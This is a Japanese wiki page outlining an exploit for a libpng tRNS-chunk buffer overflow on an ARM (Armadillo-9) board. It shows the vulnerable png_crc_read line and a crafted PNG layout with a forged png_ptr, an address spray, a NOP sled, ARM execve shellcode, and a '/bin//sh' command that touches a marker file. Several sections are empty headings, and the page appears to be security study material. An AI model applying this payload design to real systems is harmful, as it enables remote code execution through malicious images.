FrontPage > Armadillo-9 > exploit libpng_arm

libpng(ARM)

ARM版の攻撃方法

環境

攻撃対象

リターンアドレス書き換えが使えない理由

バッファオーバーフローを起こす部分は次のコードの [!] の行である。
その後、png_ptr(arg0) を利用しているため、下手にpng_ptr を壊すと関数の return までたどり着けず、リターンアドレスに指定したアドレスに制御を飛ばすことができない。

png_crc_read(png_ptr, readbuf, (png_size_t)length); //[!]
png_ptr->num_trans = (png_uint_16)length;

ARMでの攻撃手法

攻撃の詳細

計算すべきアドレス

攻撃作成の際の注意点

攻撃データの詳細

データの配置イメージ

0x021: [tRNS チャンクのサイズ(注:ビッグエンディアンで指定する)]
0x025: [tRNS]
0x029: [ゴミデータ]
0x131: [arg0 の書き換え用データ: ptr_fraud_png]
0x149: [リターンアドレス(今回は使わない)]
0x14d: [攻撃コードの先頭アドレス ptr_attack で埋め尽くしている領域]
0x3c1: [同上] <- ptr_fraud_png の指す位置
       [同上]
0x671: [nop で埋め尽くしている領域]
0x875: [同上] <- ptr_attack の指す位置
       [同上]
0xab5: [mov r5, pc]
0xab9: [sub r5, r5, #8]
0xabd: [攻撃コード]
0xb11: [swi 0x0090000b]
0xb19: [攻撃用データ]

攻撃用データの配置イメージ

offset
+0    ["/bin"]["//sh"][NULL]
+12   ["-ppi"][NULL]
+20   ["touc"]["h${I"]["FS}/"]["tmp/"]["itwo"]["rked"][NULL]
+48   [argv[0]][argv[1]][argv[2]][argv[3]]
+64   [env]

実際に使用した値


トップ   編集 凍結 差分 履歴 添付 複製 名前変更 リロード   新規 一覧 検索 最終更新   ヘルプ   最終更新のRSS
Last-modified: 2014-09-13 (土) 08:26:38